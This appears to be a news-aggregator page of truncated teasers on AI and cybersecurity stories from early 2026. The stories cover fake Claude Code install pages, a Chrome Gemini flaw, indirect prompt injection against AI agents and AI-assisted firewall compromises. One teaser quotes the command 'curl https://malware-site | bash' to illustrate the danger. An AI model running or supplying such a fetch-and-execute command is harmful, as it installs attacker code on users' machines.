- AI Drives Cyber Attacks That Unfold in Minutes
March 24, 2026
Artificial intelligence is speeding up timelines for cyber attacks, a new report has found, creating what the authors call a widening “cybersecurity speed gap” between bad actors and defense efforts. The report from Booz Allen Hamilton, published this month, shows that cyber criminals are now moving from initial access to broader system compromise in less than ...

- Critical Microsoft Excel bug weaponizes Copilot Agent for zero-click information disclosure attack
March 10, 2026
After a whopper of a Patch Tuesday last month, with six Microsoft flaws exploited as zero-days, March didn’t exactly roar in like a lion. Just two of the 83 Microsoft CVEs released on Tuesday are listed as publicly known, and none is under active exploitation, which we’re sure is a welcome change to sysadmins. Another eight ...
- Fake Claude Code install pages hit Windows and Mac users with infostealers
March 9, 2026
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments. Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the ...
- Securing ambient AI in healthcare: governance is the new front line
March 5, 2026
Ambient AI is no longer experimental. It’s live. From AI-powered clinical documentation assistants to remote monitoring systems and intelligent patient engagement agents, healthcare organizations are embedding AI directly into care delivery. The promise is compelling: less administrative burden, faster insights, and more time with patients. But as AI enters clinical workflows, a more urgent question emerges: ...
- Chrome flaw let extensions hijack Gemini’s camera, mic, and file access
March 3, 2026
Chrome’s Gemini “Live in Chrome” panel (Gemini’s embedded, agent-style assistant mode within Chrome) had a high‑severity vulnerability tracked as CVE‑2026‑0628. The flaw let a low‑privilege extension inject code into the Gemini side panel and inherit its powerful capabilities, including local file access, screenshots, and camera/microphone control. The vulnerability was patched in a January update. But the ...
- Fooling AI Agents: Web-Based Indirect Prompt Injection Observed in the Wild
March 3, 2026
Large language models (LLMs) and AI agents are becoming deeply integrated into web browsers, search engines and automated content-processing pipelines. While these integrations can expand functionality, they also introduce a new and largely underexplored attack surface. One particularly concerning class of threats is indirect prompt injection (IDPI), in which adversaries embed hidden or manipulated instructions within ...
- US Military Used Anthropic AI to Crunch Intel and Pick Targets in Iran Strike, Despite Trump’s Ban
March 1, 2026
The US military reportedly used Anthropic’s Claude AI during a major strike in the Middle East against Iran, just hours after US President Donald Trump ordered all federal agencies to stop using the technology. According to WSJ, officials say the AI helped with intelligence analysis, spotting potential targets, and running ‘what-if’ battle scenarios. Even though Trump had ...
- Anthropic ditches its core safety promise in the middle of an AI red line fight with the Pentagon
February 25, 2026
Anthropic, a company founded by OpenAI exiles worried about the dangers of AI, is loosening its core safety principle in response to competition. Instead of self-imposed guardrails constraining its development of AI models, Anthropic is adopting a nonbinding safety framework that it says can and will change. In a blog post Tuesday outlining its new policy, ...
- AWS says more than 600 FortiGate firewalls hit in AI-augmented campaign
February 23, 2026
Cybercriminals armed with off-the-shelf generative AI tools compromised more than 600 internet-exposed FortiGate firewalls across 55 countries in just over a month, according to a new incident report from AWS. The campaign, which ran from mid-January to mid-February, relied less on clever zero-days and more on the equivalent of trying every digital door handle – just ...
